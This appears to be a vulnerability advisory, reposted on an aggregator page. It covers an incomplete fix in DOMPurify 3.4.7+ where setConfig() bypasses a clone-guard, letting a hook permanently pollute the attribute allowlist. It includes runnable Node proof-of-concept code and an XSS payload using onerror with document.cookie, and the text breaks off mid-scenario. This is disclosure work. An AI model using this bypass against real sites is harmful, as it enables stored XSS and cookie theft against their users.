Technologyglobalverified · 90%

DOMPurify: Permanent `ALLOWED_ATTR` pollution via `setConfig()` bypassing the hook clone-guard (incomplete fix of the 3.4.7 hook-pollution patch)

When
Where
Global (internet)
Category
cyber_advisory · npm

## Summary DOMPurify 3.4.7 shipped a security fix ("permanent hook pollution") that makes a registered `uponSanitizeAttribute` hook's mutation of `data.allowedAttributes` **non-persistent** — so allowing an attribute for one element does not leak into later `sanitize()` calls. The fix clones `ALLOWED_ATTR` inside `_parseConfig`. That guard is **silently bypassed whenever the application uses the persistent-config API `DOMPurify.setConfig()`.** `setConfig()` sets the module flag `SET_CONFIG = true`, which causes `sanitize()` to **skip `_parseConfig` entirely** — and the clone-guard lives inside `_parseConfig`. The hook is then handed the **live, shared `ALLOWED_ATTR` object**; any `data.allowedAttributes[name] = true` it writes mutates that shared object **permanently**, for the lifetime of the DOMPurify instance, across every subsequent call, and across **all** elements. If an application uses `setConfig()` together with an `uponSanitizeAttribute` hook that conditionally allows a dangerous attribute (`onerror`, `onclick`, `onmouseover`, `srcdoc`, `formaction`, …) for "trusted" elements, then **one trusted render permanently allows that attribute on untrusted, attacker-controlled content** — yielding stored XSS in viewers' browsers. DOMPurify applies no separate `/^on/` event-handler blocklist: attribute stripping is governed entirely by the allowlist, so a polluted allowlist is the only gate, and survival in the output is final. --- ## Affected configuration (preconditions) The vulnerability is triggered when an application does **both**: 1. Calls `DOMPurify.setConfig(...)` once (the recommended pattern for a fixed, persistent policy), **and** 2. Registers an `uponSanitizeAttribute` hook that writes `data.allowedAttributes[name] = true` to conditionally allow an attribute (e.g. only for elements bearing a trust marker). This hook pattern is demonstrated in DOMPurify's own test suite, and the per-call variant of exactly this leak is what 3.4.7 was released to fix. --- ## Root cause (source: `src/purify.ts`, v3.4.10) The 3.4.7 clone-guard — only inside `_parseConfig`: ``` // src/purify.ts _parseConfig() (lines ~950-968) // "if a hook is registered AND the set still points at the default constant, clone it. // The hook then mutates the clone ... and the next default-cfg call rebinds to the untouched original." if ( ... && hooks.uponSanitizeAttribute.length > 0) { ALLOWED_TAGS = clone(ALLOWED_TAGS); // line 961 } if ( ... hooks.uponSanitizeAttribute.length > 0 ... ) { ALLOWED_ATTR = clone(ALLOWED_ATTR); // line 968 } ``` `sanitize()` skips `_parseConfig` on the persistent-config path: ``` // src/purify.ts DOMPurify.sanitize() (line 2369) if (!SET_CONFIG) { _parseConfig(cfg); // <-- clone-guard lives in here; SKIPPED when SET_CONFIG is true } ``` `setConfig()` sets the flag that disables the guard: ``` // src/purify.ts (lines 2596-2598) DOMPurify.setConfig = function (cfg = {}) { _parseConfig(cfg); SET_CONFIG = true; // every later sanitize() now skips _parseConfig }; ``` The hook is handed the **live** allowlist binding, and there is no secondary event-handler defense: ``` // src/purify.ts (line 2088) — hook event exposes the shared object by reference allowedAttributes: ALLOWED_ATTR, // (line 2108) hooks.uponSanitizeAttribute executed; a write to data.allowedAttributes mutates ALLOWED_ATTR itself // _isValidAttribute gates purely on ALLOWED_ATTR[lcName]; DOMPurify uses NO /^on/ blocklist by design. ``` **Net:** after `setConfig()`, the clone-guard never runs, so the hook's `allowedAttributes` mutation is a permanent write to the instance's shared `ALLOWED_ATTR`. --- ## Proof of Concept Environment: `npm i dompurify@3.4.10 jsdom` (Node; identical mechanism to `isomorphic-dompurify`, and to a browser instance). ### PoC 1 — the leak (trusted render permanently allows `onerror` on attacker content) ```js const createDOMPurify = require('dompurify'); const { JSDOM } = require('jsdom'); const DP = createDOMPurify(new JSDOM('').window); // App init: persistent policy + a hook that allows onerror ONLY for trusted, pre-vetted elements DP.setConfig({ ALLOWED_TAGS: ['img'], ALLOWED_ATTR: ['src'] }); DP.addHook('uponSanitizeAttribute', (node, data) => { if (node.getAttribute && node.getAttribute('data-trusted') === '1') { data.allowedAttributes['onerror'] = true; // intended: trusted-only } }); // 1) A trusted widget is rendered once DP.sanitize('<img data-trusted="1" src="x" onerror="loadWidget()">'); // 2) Later, ATTACKER-controlled content (NO data-trusted) is sanitized on the same instance console.log(DP.sanitize('<img src="x" onerror="alert(document.cookie)">')); // OUTPUT: <img src="x" onerror="alert(document.cookie)"> <-- onerror SURVIVES -> XSS ``` ### PoC 2 — it is a DOMPurify state-leak, not "the app allowed `on*`" (attribute-agnostic) ```js // Same setConfig + hook shape, but the hook allows a BENIGN attribute (title). // The leak is identical -> the defect is a shared-state mutation in DOMPurify, // independent of which attribute the hook touches. DP.setConfig({ ALLOWED_TAGS: ['span'], ALLOWED_ATTR: [] }); DP.addHook('uponSanitizeAttribute', (n, d) => { if (n.getAttribute && n.getAttribute('data-trusted') === '1') d.allowedAttributes['title'] = true; }); DP.sanitize('<span data-trusted="1" title="ok">x</span>'); console.log(DP.sanitize('<span title="leaked">x</span>')); // -> <span title="leaked">x</span> (leaked) ``` ### PoC 3 — control: WITHOUT `setConfig()` the 3.4.7 guard holds ```js const DP2 = createDOMPurify(new JSDOM('').window); DP2.addHook('uponSanitizeAttribute', (n, d) => { if (n.getAttribute && n.getAttribute('data-trusted') === '1') d.allowedAttributes['onerror'] = true; }); DP2.sanitize('<img data-trusted="1" src="x" onerror="ok()">', { ALLOWED_TAGS: ['img'], ALLOWED_ATTR: ['src'] }); console.log(DP2.sanitize('<img src="x" onerror="alert(1)">', { ALLOWED_TAGS: ['img'], ALLOWED_ATTR: ['src'] })); // OUTPUT: <img src="x"> <-- onerror correctly STRIPPED. setConfig() is the trigger. ``` ### Persistence (observed) - The leak **persists after `removeAllHooks()`** — removing the hook does not clean the polluted allowlist. - It is **global / cross-element** — a polluted `onmouseover` survives on `<a>` and `<div>`, not only the originally-blessed `<img>`. - It persists for the **instance lifetime** (survived 5/5 subsequent default calls). - `clearConfig()` **does** restore a clean state (this is the bound of the impact). --- ## Impact Stored XSS. In a long-lived (e.g. server-side / `isomorphic-dompurify`) DOMPurify instance, a single trusted render flips a shared allowlist bit; every subsequent untrusted submission then inherits a live event-handler attribute and executes script in viewers' browsers. Because DOMPurify enforces no `/^on/` blocklist, a surviving `on*` attribute is final — no secondary control prevents execution. `onerror` on a broken-`src` `<img>` fires with no user interaction (browser-confirmed; see Validation). **Per-call `FORBID_ATTR` does not mitigate.** A defensive `sanitize(input, { FORBID_ATTR: ['onerror'] })` is also ignored once `setConfig()` has been called: the per-call config is parsed by `_parseConfig`, which `sanitize()` skips entirely under `SET_CONFIG`. So an application cannot blunt the leak with a per-call denylist — the poisoned `ALLOWED_ATTR` is the sole gate. --- ## Realistic attack scenario A platform mixes admin-authored interactive widgets with user-generated content through one sanitizer instance: 1. The app installs a persistent baseline policy via `setConfig({ ALLOWED_TAGS: [...], ALLOWED_ATTR: [...] })`. 2. It registers an `uponSanitizeAttribute` hook that enables an event handler **only** for admin-vetted elements marked `data-trusted="1"`, intending safe rich interactivity — a pattern the 3.4.7 fix was specifically meant to make safe. 3. An admin renders one trusted widget. Fro

Sources

Defaxon links out to the original reporting and never republishes article text.

Correlated events

Computed by the Defaxon correlation engine — linked by shared actors, co-location, and temporal proximity. Scored hypotheses, never causal claims.

No correlated events found in the current window. As more events arrive, connections form automatically.

← Back to the live map